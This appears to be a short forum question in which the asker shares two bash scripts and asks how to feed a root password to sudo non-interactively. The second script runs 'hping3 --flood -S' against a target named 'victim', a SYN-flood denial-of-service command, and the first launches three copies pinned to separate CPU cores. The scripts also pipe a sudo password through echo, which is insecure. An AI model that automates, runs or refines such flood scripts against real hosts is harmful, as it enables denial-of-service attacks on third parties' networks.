I have a script (A.sh) which runs another script (B.sh), in which I need a root password to launch a command.
A.sh:
#!/bin/bash
script=./hping.sh
taskset -c 0 $script > ./test.txt &
taskset -c 1 $script > ./test.txt &
taskset -c 2 $script > ./test.txt &
B.sh (hping.sh)
#!/bin/bash
victim=$1
echo $sudoPW | sudo hping3 -i eth0 -d 128 -S --flood $victim
The problem is that when A.sh tries to run B.sh, it asks for a root password, and then it stops, it can't get the password from the console.
How can I solve this?